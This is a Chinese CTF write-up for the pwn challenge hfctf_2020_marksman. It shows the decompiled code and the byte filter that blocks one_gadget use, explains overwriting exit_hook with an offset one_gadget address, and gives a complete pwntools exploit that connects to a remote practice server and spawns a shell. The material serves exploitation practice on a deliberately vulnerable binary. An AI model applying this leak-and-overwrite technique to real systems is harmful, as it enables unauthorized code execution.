hfctf_2020_marksman

b4nd1t

hfctf_2020_marksman

保护检查

1681800836468

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int i; // [rsp+8h] [rbp-28h]
int j; // [rsp+Ch] [rbp-24h]
__int64 v6; // [rsp+10h] [rbp-20h]
char v7[3]; // [rsp+25h] [rbp-Bh] BYREF
unsigned __int64 v8; // [rsp+28h] [rbp-8h]

v8 = __readfsqword(0x28u);
sub_9BA();
sub_A55();
puts("Free shooting games! Three bullets available!");
printf("I placed the target near: %p\n", &puts);
puts("shoot!shoot!");
v6 = sub_B78();
for ( i = 0; i <= 2; ++i )
{
puts("biang!");
read(0, &v7[i], 1uLL);
getchar();
}
if ( (unsigned int)sub_BC2(v7) )
{
for ( j = 0; j <= 2; ++j )
*(_BYTE *)(j + v6) = v7[j];
}
if ( !dlopen(0LL, 1) )
exit(1);
puts("bye~");
return 0LL;
}

sub_BC2

1
2
3
4
5
6
7
__int64 __fastcall sub_BC2(_BYTE *a1)
{
if ( (*a1 != 0xC5 || a1[1] != 0xF2) && (*a1 != 0x22 || a1[1] != 0xF3) && *a1 != 0x8C && a1[1] != 0xA3 )
return 1LL;
puts("You always want a Gold Finger!");
return 0LL;
}

首先让你输入一个地址

再让你输入3个字节

对后面输入的三个字节进行检查(限制onegadget的使用)

检查之后把后面输入的三个字节写到我们第一次输入的地址的后三个字节

正常使用onegadget会显示少部分的onegadget,再正常使用后面加上- l2就可以显示更多的onegadget

本题用到了exit_hook

1681809467211

计算出偏移,第一次输入就输入这个地址

1681809583457

本次用到的onegadget是下面这个

1681809632297

看了其他师傅的文章,将onegadget的地址-5进行使用,而当这个偏移加上libc基地址的时候第二个字节大概率就不是a3了,因为libc基址只有后三个16进制为是0

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p = process("./buu")
p = remote('node4.buuoj.cn',25649)
libc = ELF("u1864.so")
p.recvuntil("I placed the target near: ")
libcbase = int(p.recv(14),16) - libc.sym['puts']
print(hex(libcbase))
exit_hook = libcbase + 0x81dF60
og = libcbase + 0x10a387
p.recv()
payload = str(exit_hook)
p.sendline(payload)
p.recv()
p.sendline(p64(og)[0])
p.recv()
p.sendline(p64(og)[1])
p.recv()
p.sendline(p64(og)[2])
p.interactive()

1681809873852

此页目录
hfctf_2020_marksman